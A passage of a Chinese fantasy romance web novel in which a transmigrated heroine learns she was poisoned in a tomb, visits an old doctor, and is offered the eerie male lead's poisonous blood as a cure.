在奚逢秋的注视下,池镜花慢慢撩开衣袖,将两只手腕处的伤口暴露于众人眼前。 那是黑色的不规则伤口,伤口处透露着肉眼可见的森森鬼鬼气,绝非人类或野兽可留下的痕迹。 刹那间,袁老板神色动摇,但嘴上决不饶人。 “谁知道是不是你们在自导自演,用这么个伤口来骗我的。” 衣服鬼早已不见踪迹,赵星澜早就猜到他会这么说,也早就准备好体面的说辞。 “袁老爷,不妨打个赌吧,若是贵府没有女鬼作妖,我们几人任凭你处置,随便你骂我们骗子也好抓我们见官也好索要赔偿也行,但若是贵府真有女鬼作乱,还请你行个方便,还令夫人一个清净。” “赌就赌!” 三言两语,袁老板便被他说动了,“不过咱们得定个时限,万一你们一直赖着不走怎么办?” 赵星澜比了个“七”的手势,“就七天。” “好!七天!” 袁老板也不含糊。 当然,他并非脑子一热答应赵星澜的赌约。 虽然找道士驱鬼并非他本意,但若是这群道士根本抓不到女鬼,就能够令女鬼的谣言止步,这样,他家布庄的生意也会回来。 说罢,他冷哼一声,便带着袁夫人跟小鱼直接离去。 池镜花眨了眨眼睛,下意识一抬头,温暖日光撞入双瞳,映出奚逢秋眼睫低垂,眼底含着清润的浅笑,像是在向她示好的模样。 池镜花默不作声地绕过他身侧,慢吞吞地朝赵星澜伸出双手,愁眉苦脸地望着他。 “赵道长,你看我的手还有救吗?” 赵星澜飒然一笑,“没事,池姑娘,我有办法让你恢复如初。” 这并非大话。 回到客房,赵星澜画了一张符,轻声念了句咒语,几下便替池镜花驱散手臂里的鬼气。 随着鬼气消散,池镜花伤口的颜色恢复正常,只剩被勒过的红肿。 对于道士来说,只要鬼气不是侵入五脏六腑,一切就都还有的救,不过对于肉|体上的伤口却不是赵星澜的长处。 赵星澜有些不好意思地收了黄符,“池姑娘,剩下的你得去找大夫了。” 尽管如此,池镜花已是十分感激。 池镜花真诚致谢,随后转过身,向一直驻足在她身上的灼灼视线的源头看过去。 又或许是她太过关注奚逢秋,所以才对他的一切相当敏锐。 奚逢秋站在离门口的不远处,屋外阳光斜射在他的肩上,落在他衣上的枝叶阴影随风摇曳,勾出一副生动的卷轴画。 池镜花思索几秒,走到他身前,仰脸,杏眼弯弯,露出个明媚灿烂的笑。 “奚逢秋,你可以陪我一起去吗?” 在池镜花走近之前,奚逢秋用缠在指尖的一截白丝心不在焉地翻花绳,听到她的脚步声才微微抬眸,看了一眼池镜花身后的赵星澜,目光重新落回到少女脸颊,唇边漾起个笑来。 “我还以为你不会再同我说话了。” 肯定不会啊! 不说他是她的攻略对象,就光在危机时刻,他来救她这点,足以弥补他之前所做的事情——至少不是真的想她死。 当然,最好是能多在意她一些。 池镜花明白他指的是利用她引出衣服鬼一事,但现如今,这事对她来说已经翻篇了,没道理一直揪着不放。 她假咳一声,“我不认识路嘛。” 并非是她说谎,而且是金德镇,她只认识去过的那些地方,至于医馆,在什么地方长什么样子她全然不知。 奚逢秋没有说话,只轻轻歪过头,耳铛划过颈侧,位于左脸的伤口在阳光的照射下愈发清晰。 他的伤还没好全乎。 池镜花心脏揪了一下,想要跟他一起出门的心情更加强烈,声音不自觉地软了下来。 “拜托你了,奚逢秋,好不好?” 下一刻,像是被什么逗乐一般,奚逢秋不由轻笑一声。 “嗯,好。” 虽然听着像是要跟男配逛街约会的样子,但其实这个时间点很多店铺都没开门,等他们在白鹤的带领下找到位于街尾的医馆,正好赶上老郎中开门看诊。 见老郎中抱着沉重的门栓有些吃力,池镜花便顺手帮他抬了一下,只是手腕的伤口似乎愈发地疼了。 “多谢姑娘帮忙。” 今日天气很好,老郎中驼着背,留着花白的胡须,腿脚不大利索,眼睛也不大好使,看人需要眯着眼睛才能看清。 池镜花忙摆手回“不客气”。 老郎中抬起头,注意到池镜花手腕处的伤口,眯起眼睛打量半分钟,颤颤巍巍地做了个“请”的手势。 “二位进来吧。” 跟随老郎中来到内堂,中药味更加明显,房间内有个长桌,桌上摆满了各种中药,墙上有一个个抽屉,抽屉里放满了各种中药,它们的名字都贴在抽屉外边。 “嗯……让我先来号号脉。” 老郎中让池镜花坐下,他治病的原则是:不管看什么病,首先得号脉。 池镜花倒不反对这些,只是老郎中一直抚着胡须,表情相当凝重,让她心里很不安。 老郎中欲言又止,“外伤倒是好治,但是你这毒……” 池镜花秒转头,诧异问道:“什么毒?” 老郎中也愣住了,“你莫非不知道自己中毒了?” 什么毒啊? 池镜花印象中只有奚逢秋曾吓唬她要给她下毒,但那并非真的。 她下意识看向奚逢秋。 原本站在日光耐心等候的少年正百无聊赖地用丝线翻花绳,似正在思考什么,听到二人交谈的声音,突然指尖一顿,神情愈发迷茫。 似是想起什么,池镜花突然将袖子往上撩,看见一道已经愈合很久的伤疤。 不会是这个吧? 老郎中瞅了一眼,“在哪弄伤的?” 池镜花老实回答:“墓穴。” “十之八|九就是这个。” 老郎中继续悠悠道:“我们这儿的墓穴为了防止盗墓贼,都会设置暗器,而暗器大多有毒,不过年岁太久远了,究竟是何种毒得等老夫研究研究。” 池镜花一昧不语,心里比苦瓜还苦。 老郎中连连称奇,又问:“姑娘,这些天,你就没觉得身体哪里不舒服?” 有是有,但她只是起床时偶尔头晕目眩提不起精神,但稍作休息就会恢复,她只当睡眠不足,谁承想竟是中毒迹象。 别人都是吐血爬不起来,她能吃能喝能睡,怎么也想不到会中毒。 “我……” 池镜花一个字尚未说完,眼前突然被一片黑影所笼罩,熟悉的清香钻入鼻腔。 思忖良久,奚逢秋终于想到安抚她的办法,便化为行动,眨眼间站到她跟前,以一种近乎于抱住的姿态搂着她,隔着衣衫,右手轻轻覆上她的后背,冰凉的五指由上往下轻柔缓慢地顺下来。 25-30 第25章 第25章你得自己过来取我的血。…… 下过雨的空气轻盈湿润,混着中药的气味和淡雅的花香,如一层无形的泡沫浮在池镜花四周,等她反应过来的时候,她的额头轻抵着他在心口,贴着微凉的衣料,规律的心跳一下下有力敲击她的耳膜,流入她的血管,混进她的血液。 奚逢秋唇边噙着淡淡的笑,绕在指间轻柔的动作还在缓慢继续,一次次抚过她的后背,宛如亲密的情人安抚她的情绪。 不过手法很是生疏。 池镜花愣住了。 为寻求心理上一个支撑点,她下意识想拽住他的衣裳,不过却被老郎中给打断了。 老郎中瞟了一眼两人,扶着竹椅把手,颤颤巍巍起身。 “姑娘,先跟老夫到里面去包扎一下伤口吧。” 池镜花回过神指尖一顿,忙缩回手指,不由分说扯过奚逢秋的胳膊,强行将人按在椅子上。 令他有些意外的是,过程异常顺利,奚逢秋似完全没有反抗之意。 “等我一下,很快的。” 少女的声音如明亮的流星般轻轻划过他的耳畔,眨眼间身影便与老郎中一块消失在他视线里。 奚逢秋偏头垂眸望了一眼肩上的褶皱,微微震颤的长睫在日光下抖落一层金粉。 似乎有种很奇怪的感觉在心中破土生芽。 很是奇怪。 池镜花自然不会知道这些,她正在内堂静静观察老郎中将草药捣碎而留下的药汁,然后将其铺在纱布上,再洒上粉末状的中药,最后缠在她的手腕上。 伤口甫一被碰到,宛如正被一根根细针扎,溢出的疼痛逼得池镜花泪水在眼眶里不停打转,最后靠着咬紧牙关和几次深呼吸才勉强憋住。 正在为池镜花包扎伤口的老郎中看见她颤抖紧握双拳,不由抬头看她一眼,虽然不曾言语,但心中对她颇为肯定,于是好意提醒。 “他没救了。” 池镜花一时没反应过来,直愣愣抬头望去,神色迷茫。 “什么?” 老郎中头也不抬,一边鼓捣手里的活儿一边解释:“他中的毒不下百种,就算是大罗神仙来了也救不了,你别想着帮他解毒了,没用的。” 这里就三个人,池镜花一下明白他指的是奚逢秋。 但是……中毒? 池镜花从来只知他血肉含毒,以为是体质问题,从来没想过有可能是后天中毒所致。 恍惚中,池镜花记起奚逢秋的母亲苗献仪逼喂他喝下的那碗汤药。 ……莫不是毒药? 正因为用毒药喂养长大,所以才导致他血肉有毒。 幸好是妖怪,不然哪能活到现在! 想到这,池镜花心不在焉地“嗯”了一声,不知怎地,手腕的伤口似乎没那么疼了。 她怔怔望着某处,思绪不经意间飘远,直到老郎中替她包扎好伤口才回过神,轻声道了句“多谢”。 老郎中瞥她一眼,低头开始收拾残局。 “明日你过来换药,顺便来试试老夫研制的新药,不过老夫可不敢保证对你体内的毒一定有用,保不齐还有副作用,你要是害怕的话可以不试,老夫决不强求。” 池镜花神情一滞,“如果这毒一直停留在我体内会怎样?” 老郎中手指一顿,不动神色地抬头,花白胡须下的嘴巴抿成一条线,浑浊的眼睛向上瞟,一言不发地死死盯着她。 什么意思已不言而喻。 ——她会死。 “那我明天过来。” 池镜花怕死的很,掏出银两搁在桌上,立马被老郎中推了回来。 “不必了,留着买点你喜欢的东西吧。” 池镜花疑惑挠脸,有种医生对不治之症的患者说“回去想吃什么就吃吧”的感觉。 不管如何,郎中不收钱,这对本就没什么积蓄的池镜花来说是好事。 池镜花忙将银两收好,不忘笑着道谢:“谢谢老神医。” 在听到“神医”二字时,老郎中指尖微动,心里高兴又得意,面上却依旧板着张脸,冷漠地扔下一句“明天早点来”便收拾药材去了。 池镜花“哦”了一声,起身往外走。 直到身影逐渐远去,老郎中才缓缓抬头,盯着那道模糊的影子连连叹息。 多好的一孩子啊,怎么跟那个疯子混到一块去了?偏偏还中了毒。 真是太可惜了。 同样觉得可惜的还有池镜花,不过她的对象是奚逢秋。 她下墓穴中暗器不慎中毒也就罢了,苗献仪作为奚逢秋的母亲,就算不喜欢他,也没必要给他喂毒。 结合苗献仪癫狂的行为,池镜花总觉得是为了奚逢秋的父亲。 当然,一切只是她的猜测。 不过,探听别人的家事也不太礼貌,池镜花只好作罢,说不定哪天等好感度再高点,奚逢秋愿意主动与她分享。 这种感觉在池镜花看见奚逢秋乖巧坐在椅子上等她时达到顶峰。 虽然他常常手段残忍不拿性命当回事,但偏偏又异常的温柔安静,怪讨人喜欢的。 念及此,池镜花不由得笑了笑。 这明媚的笑容抵达奚逢秋眼底却瞬间化为漫天的不解和疑惑。 金灿灿的曦光照耀在他侧脸,少年冷白的颈间映着斑驳的枝影,耳铛那抹扎眼的红在微风中晃了一下。 “你看起来好像很高兴?” 池镜花实话实说:“因为我虽然是中毒了,但又不会立刻就死,没必要一直哭丧着脸,而且你刚才还安慰我了,所以我很开心。” 就算不幸也得开导自己,不然满脑子就只剩下“中毒”这一件事,心情一郁闷,说不定死得更快。 “原来是这样。” 奚逢秋微微颔首,若有所思地垂下眼眸,乌睫挡住眼底情绪,还是不知道他在想什么。 不过,当池镜花望向 灿烂日光下凋零的落叶,下意识地摸向手腕的绷带,忽然记起今日才是她来到这个世界的第十一日。 总感觉经历过很多事情,但勉强还算顺利吧。 ——除了中毒。 对这件事反应很大还有赵星澜,在得知池镜花在墓穴中毒时正值午后,他露出不好意思地几分歉意的笑。 “是赵某疏忽了,竟没注意到这点。” 池镜花连连摆手,“啊,没有没有,不关赵道长的事。” 何止男主疏漏了,除了老神医基本不会有人想到这一层,怪不到别人,只能说她倒霉。 “这几日,赵某也会想办法帮你解毒的。” 面对赵星澜信誓旦旦的保证,池镜花有些受宠若惊地点头,“哦……好,谢谢。” “你最好不要相信他,这小道士可会骗人了。” 悬在赵星澜腰间的浅绿色玉佩颤抖着发出一道响亮清澈的女声。 是女主纪望慕。 虽然白日她只能躲在玉佩里,不过可以通过赵星澜洞悉外界一切,遇到感兴趣的,也会适当地发表几句看法。 “望慕……” 赵星澜表情宠溺又无奈。 纪望慕一想起她与赵星澜初次见面时,他昏迷之中分明答应过要给她弄副刚死的躯体给她附身,结果醒了就不认账,自那以后,她就懒得搭理赵星澜,除非拿香烛供她。 回想自己身死的那一瞬,纪望慕的语气相当从容。 “死没什么可怕的,你要是变成鬼了,来给我当妹妹如何?” 单说女主要认她做妹妹这点,令池镜花有种追星成功的喜悦,不过她是冷静理智的,立马笑着微微弯腰回绝女主的好意。 “谢谢你啊,纪小姐,不过,我还是想多活一段时间。” 纪望慕完全不在乎,“那就等你做了鬼再来找我。” 池镜花礼貌道了声“好”,转过头,恰巧撞进奚逢秋平静的眼底。 看样子,他一直在静静凝视她,这点池镜花也深有体会,他的视线从不回避,像条阴冷的毒蛇死死缠住她。 只是不知出于何种原因,在池镜花看过来之后,毒蛇敛去了原本赤裸的目光。 不知想起什么,奚逢秋微微偏过头,视线落在指尖乱成一团的白丝上,脸颊处的月牙形状随着眼睫微微颤动,阳光下的脸色愈显苍白。 池镜花抿了抿嘴唇,回过头问赵星澜:“对了,赵道长,衣服鬼的事情怎么办?” 赵星澜眉头紧蹙,满脸愁容地道:“其实赵某一早便查过她的踪迹,但经过昨晚的事,她似乎躲起来了,现在很有可能附在袁府的某件物品上,所以在赵某想到办法之前,请你们二位一定要小心,最好可以结伴而行,不要落单。” “至于其他人,还请二位配合赵某尽量劝说他们待在某处不要随意走动。” 听上去像是男主贴心地将所有人都安排到了,池镜花却敏锐地察觉到男主处处维护她尊严的举动,毕竟她一个人根本没有办法对抗衣服鬼,最好的办法就是将她与男配绑定。 对此,池镜花只有感激。 不过,奚逢秋看上去却有些奇怪,但当池镜花走到他身边,想要细细观察的时候,他蓦地弯起双眸笑如春风。 “嗯,我会保护你的。” 池镜花能够察觉这是他的真心话,殊不知究竟是建立在何种情感之下,或许只是单纯觉得她死了便无法窥探她的秘密。 也行。 对于一个好感度只有10%的男配来说,不能要求太多。 池镜花默默叹了口气,随后拉着奚逢秋一块按照男主指示,将衣服鬼随时可能出现的事情告诉府内其他人,让所有人在这七天时间里不要到处乱跑。 在忙活一整天后,池镜花倒头就睡,一夜无梦到天亮。 第二天醒时,头晕尚未到达,眼前便被一片雪白所笼罩。 是奚逢秋的白鹤,正伸着雪白的长脖静静看她,而他的脚边有一条鲤鱼。 池镜花眨眨眼睛,不可置信地指着自己。 “是给我的吗?” 白鹤像是听懂她说的话一般点点头。 严格来说,这是她与白鹤的第一次直接接触,但给她的感觉跟奚逢秋很不一样。 白鹤感觉上跟他小时候养过的小狗很像,很会直接表达他的诉求,性格活泼开朗,而奚逢秋,总是要用猜的,还不一定猜对。 不过,当池镜花目光向下,看见从窗棂投进的日光射在鱼鳞上泛出金色的光,尚留有一丝余力的鲤鱼拼命蹦跶两下的时候,根本毫无食欲。 “不用了,谢谢你啊,额……小白。” 当她尝试用一种亲密的称谓呼唤白鹤时,换来白鹤的疯狂点头,仿佛是在告诉池镜花:猜对了,他的名字正是“小白”。 池镜花惊讶发现白鹤对她的好感度似乎挺高,难道是因为自己曾当面夸过他吗? 这点跟他的主人又不一样。 小白很好攻略,可奚逢秋不是。 正想着,当池镜花回过神,望见小白正凑近朝她张大嘴巴,似在邀请她喂他吃饭。 池镜花思忖片刻,一口气掀开被子,捡起鲤鱼,将其送到他嘴边,顺带轻柔地摸了摸他的小脑袋。 而小白则是十分通人性地亲密地蹭了蹭她的手心。 真的很像小时候养的一条狗啊。 池镜花笑了笑,从头顶一直到白鹤的后背,指尖轻柔地抚摸他,思绪不知不觉回到了过去——她还是孩童时代的那段美好时光。 而白鹤似乎很是享受,一边享受温暖阳光的泼洒,一边懒散地靠在她的脚边,一声低鸣后边仍由她随意触摸。 不知过去多久,门口吹来一阵冷风,耀眼的日光被阴冷的影子所替代。 池镜花与白鹤不约而同地仰头。 白鹤已然愣住,池镜花本能眨眼,没等她开口,站在对面的人先于她张口。 少年逆光而立,置于暗影下的肌肤几近透明,耳铛犹如一道鲜红的血滴,血色映上左脸,连带着脸唇上才有了血色,他微微低头,贴于耳侧的墨发缓缓坠落。 “今天也要去医馆吗?” 听上去,他像是为了此事而来。 池镜花对此毫不怀疑。 她重重点了点头,“嗯,对。” 当目光中出现散发着淡淡中草药的扎眼白纱布,奚逢秋慢慢张开右手,声音煞是动听,语气颇有讨好之嫌。 “可以让我看看你的手吗?” 池镜花一直觉得奚逢秋骨节分明的五指十分好看,所以当他朝自己伸手时,下意识地想要触碰试试,等反应过来他曾明确表示想要她的手之后,已经迟了。 不过奚逢秋没有直接握住她的手,而是慢慢替她解开了纱布。 轻盈的纱布失去承载的物体,以极慢的速度飘落,横在二人中间,宛如银河般呈现出一道不可逾越的鸿沟。 奚逢秋看过去时,发现池镜花手腕伤口的红肿已经消退,只剩下几道浅色的痕迹。 “快好了。” 池镜花同样惊讶于伤口的愈合速度,看来“老神医”真没叫错。 “是快好了,但我还得去医馆为我体内的毒试药。” 池镜花蓦然想起昨日老神医交代的事情,忙不迭地套上外衣,生怕耽搁了时间,惹的老神医不悦。 等她穿戴好衣裳,转过头,乌发晃动扫过后颈,她朝站在她身后的奚逢秋弯起眼睛。 “你会陪我一起的,对吗?” 奚逢秋对此不可置否,倒不如说,明明只是与她一道简单出个门,竟让他生出几分期待之情。 见他不语,池镜花系好腰带,毫不犹豫选择奔赴他的身边,不敢直接牵手,却可以扯住他的衣袖,将人往外带。 今天的天气同样很好,潮湿的泥泞经过阳光炽热烘烤已经变为干土,空气中传来阵阵冷意,已是秋季,绿叶更少,唯有银杏开得旺盛,在风中沙沙作响,在平坦的地面铺上已一层金色的落叶。 两人一块经过院子里时,看见赵星澜一边翻阅古籍,边与玉佩里的纪 望慕对话。 两波人打了照面,赵星澜笑容灿烂地挥手致意,说是等池镜花回来会给她个惊喜。 池镜花快速道句“多谢”,一刻时间不敢耽误,拉着奚逢秋赶紧前往医馆。 一路照旧没几个人。 当他们抵达医馆的时候,门已经开了,老神医正端坐在大堂写药方,时不时还得靠眯着眼凑近才能看清纸上的字。 听到脚步声,老神医抬头,在模糊的日光下,见到两人又是一道过来的,老神医一昧不语,只是叹气。 他这一叹气,池镜花心里怪慌的。 “老神医,先别叹气啊,你还没试呢。” 老神医无言以对,慢腾腾地端出一碗早已熬好冒着热气的汤药。 池镜花接过,扑面而来的是一阵苦涩的气味,为了治病,只好捏着鼻子一口气喝完。 老神医问她感受,池镜花如实相告:别的感受没有,胃部倒是暖暖的。 老神医又叹气,“哎,没用。” 放下药碗,池镜花先是看向奚逢秋,又看看老神医,最终走到正在伏案认真工作的老神医跟前,趴在木桌上,双手扶着桌子,下巴抵着双手,眼神笃定。 “老神医,有没有可能是误诊,其实我现在感觉非常好,一点也不像中毒的样子。” 如此,老神医只好又仔仔细细地替她诊了一次脉,随后,抚摸着胡须,发出今天的第三声叹息。 “回去吧,明日再来。” 这侧面印证不存在误诊,她是真的中毒了,而且连什么时候毒发都不清楚,毒发时是什么样子也不知道。 虽然池镜花总是劝自己要打起精神面对困难,不过这接二连三的打击,心态再好也经不住这样的折腾。 她轻轻咬住唇瓣,心中当真郁闷。 就在此刻,她忽然感受发顶落下一道轻柔的气力。 回过头,池镜花看见奚逢秋遮住所有阳光和冷风,正微微弯腰温柔抚摸着她的脑袋,虽然动作上有细微差别,但意在安抚她的情绪一致。 “应当是这样吗?” 少年时常流露出的温柔极具迷惑性,池镜花不禁“噗嗤”一声笑出声来,“你都是在哪学的?” “书本。” 奚逢秋手上的动作还在继续,思绪也在不知不觉中回去过去,眼底依旧平静毫无波澜,“以前,我有很多书。” 池镜花想替他补完这句话:还写了很多字。 虽然他的母亲完全不喜欢这些,不过池镜花的态度却跟教导他的夫子一样:他写字很好看,比她好看百倍。 回过神来的池镜花蓦然发现原来他除了脸好看还有个“写字好看”的优点。 嗯……看来她以后再也不说他只有脸好看了。 每当她想到奚逢秋的脸时视线便会不受控制地向上望去,一不留神注意到他脸颊的伤口,虽已痊愈,但伤疤一日不消,她的罪恶感就一直存在。 她本能地想要逃避,可施加在她发顶的动作过于明显,叫她无法忽略。 于是,池镜花一把捉住他的五指,“好了,没事了,我没事了。” 就这样与她毫无阻隔地十指相触,那股熟悉又奇怪感觉又回来了,如电流般迅速蔓延,直到身体的每一处都感受到这份罕见的触觉,甚至于还想继续下去,想要她带领自己朝更深处开发探索。 似是想起什么恐怖的回忆,池镜花立马松开手指,双手交叠身后,佯装什么也不曾发生过的样子,冲老神医行了个礼。 “那老神医,我们明天再过来。” 老神医没说什么,依旧是那句“早点来,别耽误了时辰”。 池镜花“嗯”了一声,低着头从奚逢秋身旁经过,却不敢再与他拉拉扯扯,生怕他又生出要她双手的危险想法。 不过奚逢秋似乎没有。 这令池镜花稍稍安心不少。 回去途中,街边景色萧瑟不少,空中鸟群猛增,似乎是要准备南下过冬,时不时被风卷起的落叶落在二人脚边,稍作停留又被一阵风卷跑。 在中秋到来之前,应会一直如此。 而袁府门口,许是袁老板觉得家中晦气,正在组织丫鬟仆从从里到外打扰屋舍。 池镜花记起男主说过衣服鬼会附身任何物品,想要上前劝他们待在屋子里别到处乱跑,结果被袁老板给狠狠瞪了回去。 “二位,还是先管好你们自己吧。” 许是他们三天两头地往医馆跑走漏了什么风声,导致袁老板看他俩的眼神都变了,嫌弃中还透露出厌恶。 池镜花压根不敢让袁老板跟奚逢秋相处太久,真怕男配一个不高兴,袁老板跟管家一样,人头分离。 池镜花只能硬着头皮推着奚逢秋往里走,边走边试图照顾他的情绪。 “我们都是有头有脸的人物,就不要跟他一般计较了。” 奚逢秋思忖片刻,血红的耳铛清风中摇曳,面上浮出一丝澄明清澈的笑。 “是这样吗?” 池镜花立马明白他是在一有所指:还是她身份的这件事。 原以为过了几天安稳日子,奚逢秋就会忘记这事,谁承想她会给自己挖了个大坑跳进去,还顺手撒把土。 池镜花沉默不语。 事实上,她已经把能说的都说了个遍,他不信她,这没办法。 好在这时候男主及时出现解围。 远远地,赵星澜冲二人兴奋招手,说是按照他师傅的独家秘方配制了一碗药,希望能对她体内的毒有点用。 池镜花二话不说一饮而尽,只是效果不大好,准确来说是没有效果。 日光落在他的头顶,赵星澜双颊呈现尴尬的红苹果色,难为情地挠头。 “我再试试别的。” 男主说到做到,后面两天除了要思考对付衣服鬼的法子,还陆陆续续给池镜花研制了许多种新药,不过都没什么大的作用,还有老神医,池镜花每日定点去打卡试药,仍旧不见任何起色。 而且不知是不是心理作用还是汤药的副作用,她这两天总觉得每天头晕的时间更长了,睡觉也总是做噩梦,醒时两脚发软,浑身都没有力气,得花很长时间才能恢复。 若是按照这种发病模式演算,最后她一定是瘫痪在床,全身麻痹不得动弹,到时候她可能真的需要小白把鱼叼进她嘴里才能吃的上饭。 太恐怖了。 等到第五天去医馆试药的时候,老神医突然把她叫进里堂,就在池镜花以为可能又是一碗汤药时,老神医忽然低声问了个与病情毫不相干的问题。 “你与奚公子关系如何?” 池镜花摸不着头脑,“为什么要问这个?” 老神医继续道:“关系好的话取他一点血,试试以毒攻毒的法子,关系不好的话……也可以试试。” 其实老神医想说的是:他若是救了你应当不会后悔的。 这是他观察许久得出的结论。 但这种事情,当事人都不着急,他怎好乱说。 不过,以毒攻毒的法子确实唯一的救命良策。 池镜花一时愣在原地不知所措。 察觉到她在动摇,但老神医只是提供了个可能性论证,有些事情还得说清楚。 “但有件事老夫得事先说明,就算是以毒攻毒,也不一定会成功,保不齐会跟他一样,中上上百种毒,他还能活着是个奇迹,你就不一定了。” “当然,你若是想一直拖下去也可以,至于什么时候毒发老夫也不确定,也许一辈子都不会毒发,这样你就可以安稳地过一辈子。” 池镜花回过神,勉强扯出个笑来。 “今天不用喝药了吗?” 老神医叹息着摇了摇脑袋,日光打在他的侧脸形成一道落寞的阴影。 “没有用的,老夫根本不知道你中的是什么毒,喝再多的药也都无济于事,是药三分毒,没病也会病的……” “嗯,我知道了,谢谢老神医。” 池镜花看上去神情自若,其实早已思绪万千。 老神医说的对,她不知道什么时候会毒发,也不知道毒发时会是什么的症状,若是若是拖下去,也许会没事,更大可能是毒发身亡。 若是以毒攻毒……且不 说风险太大,关键是问奚逢秋要东西,他会给吗? 这样进退维谷的问题一直困扰着她,导致池镜花做什么都没有力气,又或许是药物或者毒素的作用。 ——她很怕死的。 就像她很小的时候就总会担心爷爷奶奶离世一样,那个时候,哪怕是对着照片设想一下她都会哭出泪来,尽管后来他们还是离开了,但这种恐惧的情绪一直萦绕在她身旁。 夜已深,四周寂静无声,缓缓流淌的泪蜡已在桌面凝结成厚厚一层。 池镜花边托腮思考对策,边帮倒在她身旁的白鹤顺毛,中间不忘试着呼唤系统。 但是没用。 只要不是跟任务相关,系统都不会出现。 池镜花垂着脑袋长叹一口气。 就在此时,橙色烛火猛地窜起,白鹤“蹭”地一下飞出窗户,像是受到不小的惊吓,在躲着什么似的。 池镜花尚未弄清其中缘由,抬头瞧见门口立着道熟悉而模糊的人影。 她立刻起身开门。 凄凉的月色照在他几近苍白透明的面颊,血红的耳铛仿佛倒映出弯月的影子,抬眸时纤长的睫羽微微一颤,蓝色的双眸迷蒙的蓝色双眸一眨不眨地盯着她。 “可以进去吗?” 池镜花点头让他进来,并礼貌地为客人斟上一杯茶,尽管凉了,但也没有更好的替代品。 “喝点水吧。” 奚逢秋默默捧起杯盏,不喝,但盯着杯底的水,思绪逐渐飘远。 “好暗啊……” 暗? 池镜花朝蜡烛看去,确实只见到集聚在一起的泪蜡中间只立着一截小尾巴,意味着烛火马上就要灭了。 “我去找找看还有没有蜡烛了。” 根据习惯,池镜花先是在床底摸了半天没摸到蜡烛,又跑到衣柜里去上下翻找,但找到都是已经点过的蜡烛,半截半截的,估计燃不到一会儿就得灭。 可有总比没有好,应该能支撑一阵子。 就在池镜花为此赶到庆幸时,一阵阴冷的风从后方吹来,卷起她的衣摆,吹得她脖子凉凉的,更暗的阴影笼罩住她。 池镜花转过身,不出所料是奚逢秋已来到她面前。 像这种毫无来由地靠近,每一次似乎都不是什么好征兆。 池镜花紧张地死死握住手中的蜡烛,薄背紧贴着冰冷的柜门。 “怎、怎么了?” 烛火明明灭灭,昏暗的光线虽不清他的具体神情,却能看见他微垂着头,仅有一丝血色的薄唇缓慢地一张一合,有极低的声音喉咙深处溢出。 “我等了你好久……” 为什么不来找他呢? 他明明一直在等她啊,等了好久好久。 池镜花不明所以地眨了两下眼睛,“为什么要等我?” 奚逢秋慢慢抬起双眸,目光之中夹杂着丝丝疑惑之情,轻飘飘的语气中透露出几分温柔与讨好。 “你需要我的血,不是吗?” 很好。 他的耳力很不错,以后不能在他面前说悄悄话。 池镜花拒绝回答这个问题。 事实上,她压根没想好究竟是要放手一搏还是保守治疗,所以“需要他的血”这个命题严格意义上来说并不成立。 察觉到她的抵抗情绪,奚逢秋垂下眼帘,不急不慢地说道:“我能感觉到,那位郎中对你很友善,所以,他是不会骗你的。” 他的一言一行都十分耐心与温柔,但这种示好这种仿佛是想诱导她亲口说出“我需要你的血”一般,就像当初哄骗她睡觉那般,要是说男配没有目的,打死她都不信。 不过,池镜花却突然发现地很想知道他这一次的目的又是什么。 于是,为了满足自己的好奇心,她决定暂且顺着他的思路往下说,等到关键时刻再刹车回头。 人,不能总在一个地方跌倒两次。 她吞咽了下口水,“你会给我吗?还是说……你想要我的手?” 用他喜欢的手作为交易是再正常不过的筹码,也是池镜花推测出的第一个可能是他的目的。 “嗯,我很在意你的手。” 奚逢秋就这样大方点头承认,想起带给他的奇妙感觉,他的唇角不自觉地微微上扬。 与其说是在意她的手,更想搞清楚那些究竟是什么,所以才想借用一下。 他轻轻歪头过脑袋,微弱的烛火映在他的眼底,仿佛变成一束雾蓝色的火光,他露出个天真无害的笑。 “你会给我吗?” 不会! 绝对不会! 若是他要什么给池镜花什么,今天要手明天要眼珠子的,就算任务完成,她还能是个全乎人吗? 池镜花深吸一口气,握着蜡烛的双手紧了紧,“绝不可能!” “别紧张,我不会强迫你的。” 靠暴力行为夺取不是他要的结果,而且他对池镜花的双手的情感不像是悬赏令上的那些人,他只是想要与她十指相扣,亲近她的肌肤。 “那你是想知道我的身世?” 这是池镜花所猜测的他的第二个目的,也是他自始至终都十分在意的一件事。 “确实很想知道……” 奚逢秋唇角含笑微微点头,耳铛也跟着摇摇晃晃,落在他颈侧的影子忽暗忽明,像是一条移动的小蛇。 “不过你又猜错了。” 池镜花的身世确实是她身份上的一大疑点,不管他如何占卜都不能窥探分毫,不过,现在,这件事得往后排排。 “我只是,很想救你。” 听他所言,池镜花心脏突然漏跳半拍,登时睁大眼睛愣住。 想到从前奚逢秋动不动就对她展露杀意,到现在居然说“不想她死要救她”,何尝不是一种进步呢? 可为什么好感度还是不加? 池镜花想不通。 就在她出神之际,奚逢秋猝然靠近半步,身上所夹带的独特香气引起似乎比以往更加浓烈,包裹着她皮肤,控制她的每一次心跳,挑逗她的进出呼吸,直到她的心里眼里全是他。 奚逢秋依旧在笑,笑容清澈不含任何杂质,言语间却夹杂着几分邀请和取悦。 “不过,你得自己过来取我的血,可以吗?” 第26章 第26章钓鱼执法。 自己来? 当听到这几个字时,池镜花冒出的第一直觉就是——他不会又在钓鱼执法吧? 鉴于奚逢秋以前真这么做过,她真的很难不怀疑。 不管他究竟有何目的,池镜花总有种不大好的预感。 所以,她的回答只会有一个。 “不用了。” 果断拒绝后,池镜花忽然有些尴尬地偏过头,不敢去看他,她垂下眼眸,盯着地板,惊讶地发现落下的两道漆黑影子近乎交叠。 “可以告诉我原因吗?” 少年的清冽的嗓音如泉水般从她耳畔缓缓流淌,泛来一片冰凉的痒意。 池镜花抬起头,搜肠刮肚半晌才找到个合适的理由。 “没什么特别的原因,只是风险太大,我得考虑考虑。” 奚逢秋微微点头,微弱烛光照耀下的表情看上去乖巧极了,唯有蓝色双眸铺上一层古怪而兴奋的笑。 “说的也是,你好像总是很惜命呢。” 池镜花不客气地回怼:“惜命是好事!” 当然,她也希望他也能多在乎一点自己和他人的性命,别总是做一些恐怖的事情。 奚逢秋轻笑一声,微微垂眸看向地面交叠的模糊人影。 “没关系,我可以等的。” 这一点池镜花毫不怀疑。 想当初,他为了讨伐黑妖,在山匪群里蛰伏那么久,就算被施暴虐待也都可以一笑置之,真的很有耐心。 深夜冷风从半开的窗户灌入屋 内,差点吹灭即将燃尽的白烛,烛火明明灭灭,投在墙上的影子被拉长。 池镜花静静望着他,眉宇间布满疑色。 “为什么突然想救我?你不是说过一直想杀我吗?” 奚逢秋隐隐轻叹口气,投在面颊的模糊阴影微微摇曳。 